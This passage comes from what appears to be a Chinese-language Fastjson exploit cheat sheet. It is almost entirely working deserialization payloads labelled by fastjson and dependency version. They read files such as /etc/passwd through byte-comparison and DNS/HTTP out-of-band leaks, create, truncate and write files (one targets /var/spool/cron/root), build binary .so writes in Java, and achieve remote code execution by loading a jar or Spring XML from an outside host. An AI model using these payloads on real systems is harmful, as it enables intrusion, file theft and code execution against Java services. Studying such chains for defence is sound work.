                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true"
            }
        }
    }
}

文件复制&文件读取

// 将tempPath复制到targetPath,可用于Web场景下的任意文件读取
// 需要aspectjtools依赖
{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
  "targetPath":"/x/x/web/nonexist.txt",
  "tempPath":"/etc/hosts"
}


// 1.2.37<=version<=1.2.68
// https://b1ue.cn/archives/506.html
// 需要 commons-io 2.0+ 依赖
// [通过是否返回对象判断]
{
  "abc": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"  
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [
          114,111,111,116 // 文件前x个字符挨个对比,对比成功返回对象,对比失败返回NULL
        ]
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
      "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
    "start": 0,
    "end": 0
  }
}
}


// [通过异常判断] 返回了异常那就说明比对正确,如果返回了正常那就说明比对失败了
{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}

// [通过是否进行DNS请求判断] 没收到请求说明正确,收到了就修改字节(98位置)继续对比
{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///C:/Users/whoami/Desktop/testtest.txt"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM[0]"},"start":0,"end":0},"xxx":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://testhhh.okdplvnqdu.dgrh3.cn/"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[1]}]},"zzz":{"$ref":"$.xxx.BOM[0]"}}

// [通过是否进行HTTP/DNS请求判断] 有请求说明对比成功,没请求修改98,x,x,x位置继续对比
{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///C:/Users/whoami/Desktop/testtest.txt"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98,]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://192.168.161.4:8085/"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"$ref":"$.abc.BOM[0]"}]},"xxx":{"$ref":"$.address.BOM[0]"}}

文件创建&文件清空

// 文件创建,目标文件存在时会清空文件
{
  "@type": "java.lang.AutoCloseable",
  "@type": "java.io.FileOutputStream",
  "file": "/tmp/nonexist",
  "append": "false"
}

{
  "@type": "java.lang.AutoCloseable",
  "@type": "java.io.FileWriter",
  "file": "/tmp/nonexist",
  "append": "false"
}

目录创建

// org.apache.commons.io.output.LockableFileWriter
{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.LockableFileWriter",
 "file":"/etc/passwd", //一个存在的文件
 "encoding":"UTF-8",
 "append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 }

文件写入(依赖JDK,可写二进制)

// 需要目标环境中的jar包或modules文件保留调试信息(LocalVariableTable),(考虑CentOS环境)
// 可写二进制文件
// 文件内容输入参数input、buffer等是使用zlib压缩后再Base64编码得到
// echo -ne "写入字符串" | openssl zlib | base64 -w 0


// POC 1
// 仅依赖JDK 8 / 10
// https://mp.weixin.qq.com/s/wdOb5ESfbkMSfdDlRvOg-g
{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

// POC 2
// JDK8环境下 还需要依赖aspectjtools、kryo、je
// position表示Base64前的字符串长度,需要保持一致
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "f:/pwn.txt",
        "tempPath": ""
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "YjF1M3I=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}


// POC 3
// 仅依赖JDK11(jdk8会创建文件,但是不会写入内容)
/* 报错 default constructor not found。利用时需要类中存在 LocalVariableTable 调试信息
// https://www.cnblogs.com/zpchcbd/p/14969606.html
*/
// https://pastebin.com/ZwLxJZ2E
{
    "@type":"java.lang.AutoCloseable",
    "@type":"sun.rmi.server.MarshalOutputStream",
    "out":
    {
        "@type":"java.util.zip.InflaterOutputStream",
        "out":
        {
           "@type":"java.io.FileOutputStream",
           "file":"/tmp/JDK11write",
           "append":false
        },
        "infl":
        {
            "input":
            {  "array":"eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=",
                "limit":65
            }
        },
        "bufLen":1048576
    },
    "protocolVersion":1
}

// POC 4
// JDK11+(jdk8会创建文件,但是不会写入内容)
// https://github.com/safe6Sec/Fastjson
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/JDK11plus",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

文件写入(依赖commons-io,写字符串)

// Commons IO 2.x 写文件利用链挖掘分析:https://bbs.chaitin.cn/topic/597

// POC 1
// commons-io 2.0 - 2.6:
// https://stack.chaitin.com/techblog/detail/16
// https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
 // 这里可能需要改为 "charset": "UTF-8",  // https://www.cnblogs.com/zpchcbd/p/14969606.html
      "charsetName":"UTF-8",   
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

// POC 2
// commons-io 2.0 - 2.6
// https://github.com/safe6Sec/Fastjson
{
 "x":{
 "@type":"com.alibaba.fastjson.JSONObject",
 "input":{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.input.ReaderInputStream",
 "reader":{
 "@type":"jdk.nashorn.api.scripting.URLReader",
 "url":"http://127.0.0.1:8083/test.txt"
 },
 "charsetName":"UTF-8",
 "bufferSize":10000
 },
 "branch":{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.output.WriterOutputStream",
 "writer":{
 "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
 "file":"/tmp/files/12345",
 "encoding":"UTF-8",
 "append": true
 },
 "charset":"UTF-8",
 "bufferSize": 8193,
 "writeImmediately": true
 },
 "trigger":{
 "@type":"java.lang.AutoCloseable",
 "@type":"org.apache.commons.io.input.XmlStreamReader",
 "is":{
 "@type":"org.apache.commons.io.input.TeeInputStream",
 "input":{
 "$ref":"$.input"
 },
 "branch":{
 "$ref":"$.branch"
 },
 "closeBranch": true
 },
 "httpContentType":"text/xml",
 "lenient":false,
 "defaultEncoding":"UTF-8"
 }
 }
}

// POC 3
// commons-io 2.7+
// https://stack.chaitin.com/techblog/detail/16
{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
        "start":0,
        "end":2147483647
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "charsetName":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "inputStream":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

文件写入(二进制写入)

// https://paper.seebug.org/1698/#4
// rg.eclipse.core.internal.localstore.SafeFileOutputStream
/**
 * @auther Skay
 * @date 2021/8/13 14:25
 * @description
 **/
public class payload_AspectJ_writefile {
    public static void write_so(String target_path){
        byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
        //写文本时要填充数据
//        String so_content = new String(bom_buffer_bytes);
//        for (int i=0;i<8192;i++){
//            so_content = so_content+"a";
//        }
//        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
//        System.out.println(payload);
        JSON.parse(payload);

    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }
}

// https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew
// org.apache.tools.ant.util.LazyFileOutputStream
public static void write_so(String target_path) throws IOException {
    byte[] bom_buffer_bytes = readFileInBytesToString("./target/classes/MyClass.class");
    String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
    byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
    String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                //"      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                //"      \"targetPath\":\"%2$s\"\n" +
                "      \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +
                "      \"file\":\"%2$s\",\n" +
                "      \"append\":false,\n" +
                "      \"alwaysCreate\":true\n" +
                "    },\n" +
                "    \"closeBranch\":false\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "/tmp/MyClass.class", Arrays.toString(big_bom_buffer_bytes));
    System.out.println(payload);
}

public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }
        return bytes;
}

文件写入(其他依赖)

// POC1
// 特殊字符写入可能存在问题
// 需要aspectjtools、kryo和je依赖
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "目标文件路径",
        "tempPath": "输出流对象文件路径"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "Base64字符串",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}
    
// POC2
// 需要同时存在solr和snappy环境,现实环境可能不存在
// https://mp.weixin.qq.com/s/GvR7ZXBtqDUUb3jXYYUexg
{
    'stream':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'java.io.FileOutputStream',
        'file':'/tmp/nonexist',
        'append':false
    },
    'writer':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.apache.solr.common.util.FastOutputStream',
        'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
        'sink':
        {
            '$ref':'$.stream'
        },
        'start':38
    },
    'close':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.iq80.snappy.SnappyOutputStream',
        'out':
        {
            '$ref':'$.writer'
        }
    }
}

<= 1.2.80(java.lang.Exception)

fastjson1.2.80添加了黑名单对上文的利用方式进行限制,但在默认autoType关闭的情况下依然存在可利用的白名单期望类Throwable(java.lang.Exception继承于Throwable)绕过黑名单限制。可结合其他依赖的默认行为实现远程代码执行、任意文件读写等操作(如)。继承于 java.lang.Exception 的类能够导致的漏洞:Jdbc connection RCE、Groovy RCE、Ognl读写文件、Aspectj读文件等

groovy-jar-rce

// 1.2.76 <= fastjson < 1.2.83

// 第一步:将子类加入类缓存
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

// 第二步:加载远程文件执行
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/123.jar"
     // "classpathList":"http://127.0.0.1:8090/"
    }
}

{"a":{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
},
"b":{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
     "@type":"org.codehaus.groovy.control.CompilerConfiguration",
     "classpathList":"http://127.0.0.1:8090/123.jar"
     // "classpathList":"http://127.0.0.1:8090/"
    }
}
}

postgresql-jdbc-rce

{
    "a":{
    "@type":"java.lang.Exception",
    "@type":"org.python.antlr.ParseException",
    "type":{}
    },
    "b":{
        "@type":"org.python.core.PyObject",
        "@type":"com.ziclix.python.sql.PyConnection",
        "connection":{
            "@type":"org.postgresql.jdbc.PgConnection",
            "hostSpecs":[
                {
                    "host":"127.0.0.1",
                    "port":2333
                }
            ],
            "user":"user",
            "database":"test",
            "info":{
                "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
                "socketFactoryArg":"http://x.x.x.x:8090/exp.xml"
            },
            "url":""
        }
    }
}

远程XML文件内容:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
  <constructor-arg>
    <list value-type="java.lang.String" >
       <value>cmd</value>
       <value>/c</value>
       <value>calc</value>
    </list>
  </constructor-arg>
  <property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

ognl-io-readfile

// https://github.com/kezibei/fastjson_payload
// fastjson 1.2.73-1.2.80,ognl-3.2.21  commons-io-2.2
// 需回显,根据回显不一样(关注su18/su17字段)布尔读文件
{
    "su14": {
        "@type": "java.lang.Exception",
        "@type": "ognl.OgnlException"
    },
    "su15": {
        "@type": "java.lang.Class",
        "val": {
            "@type": "com.alibaba.fastjson.JSONObject",
            {
                "@type": "java.lang.String"
                "@type": "ognl.OgnlException",
                "_evaluation": ""
            }
        },
        "su16": {
            "@type": "ognl.Evaluation",
            "node": {
                "@type": "ognl.ASTMethod",
                "p": {
                    "@type": "ognl.OgnlParser",
                    "stream": {
                        "@type": "org.apache.commons.io.input.BOMInputStream",
                        "delegate": {
                            "@type": "org.apache.commons.io.input.ReaderInputStream",
                            "reader": {
                                "@type": "jdk.nashorn.api.scripting.URLReader",
                                "url": "file:///D:/"
                            },
                            "charsetName": "UTF-8",
                            "bufferSize": 1024
                        },
                        "boms": [{
                            "@type": "org.apache.commons.io.ByteOrderMark",
                            "charsetName": "UTF-8",
                            "bytes": [
                                36,82
                            ]
                        }]
                    }
                }
            }
        },
        "su17": {
            "$ref": "$.su16.node.p.stream"
        },
        "su18": {
            "$ref": "$.su17.bOM.bytes"
        }
    }

ognl-io-writefile

// https://github.com/kezibei/fastjson_payload

// fastjson 1.2.73-1.2.80
// ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
// 写入复杂文件结构,文件需要大于8kb
{
    "su14": {
        "@type": "java.lang.Exception",
        "@type": "ognl.OgnlException"
    },
    "su15": {
        "@type": "java.lang.Class",
        "val": {
            "@type": "com.alibaba.fastjson.JSONObject",
            {
                "@type": "java.lang.String"
                "@type": "ognl.OgnlException",
                "_evaluation": ""
            }
        },
        "su16": {
            "@type": "ognl.Evaluation",
            "node": {
                "@type": "ognl.ASTMethod",
                "p": {
                    "@type": "ognl.OgnlParser",
                    "stream": {
  "@type":"org.apache.commons.io.input.BOMInputStream",
  "delegate":{
    "@type":"org.apache.commons.io.input.TeeInputStream",
    "input":{
      "@type": "org.apache.commons.codec.binary.Base64InputStream",
      "in":{
        "@type":"org.apache.commons.io.input.CharSequenceInputStream",
        "charset":"utf-8",
        "bufferSize": 1024,
        "s":{"@type":"java.lang.String""文件baes64"
      },
      "doEncode":false,
      "lineLength":1024,
      "lineSeparator":"5ZWKCg==",
      "decodingPolicy":0
    },
    "branch":{
      "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
      "targetPath":"/var/spool/cron/root"
    },
    "closeBranch":true
  },
  "include":true,
  "boms":[{
                  "@type": "org.apache.commons.io.ByteOrderMark",
                  "charsetName": "UTF-8",
                  "bytes":[85, 48, 104...文件bytes]
                }],
}
                }
            }
        },
        "su17": {
            "$ref": "$.su16.node.p.stream"
        },
        "su18": {
            "$ref": "$.su17.bOM.bytes"
        }
    }

aspectj-readfile

// https://y4er.com/posts/fastjson-1.2.80/#groovy
// fastjson 1.2.73<=version<=1.2.80,aspectjtools依赖
// 第一步
{
"@type":"java.lang.Exception",   "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

// 第二步
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }


// 第三步
// 直接回显
{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"c:/windows/win.ini"
    }
}
// 报错回显
{
    "@type":"java.lang.Character"
    {
        "c":{
            "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
            "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
            "fileName":"c:/windows/win.ini"
    }
}
// DNSLOG带外
{ "a":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"1.txt"},
"b":{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{"$ref":"$"},"country":"x.xnfhnufo.dnslog.pw"}}
}}

// 如果是JSON.parse方式解析时可以通过[]执行一次即可
[{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}},{"username":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:/windows/win.ini"},"password":"admin"}]

// 报错回显文件读取
[{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}},{"username":{"@type":"java.lang.Character"{"c":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:/windows/win.ini"}},"password":"admin"}]

httpout-read

// ognl>=2.7,commons-io>=2.0

// 第一步
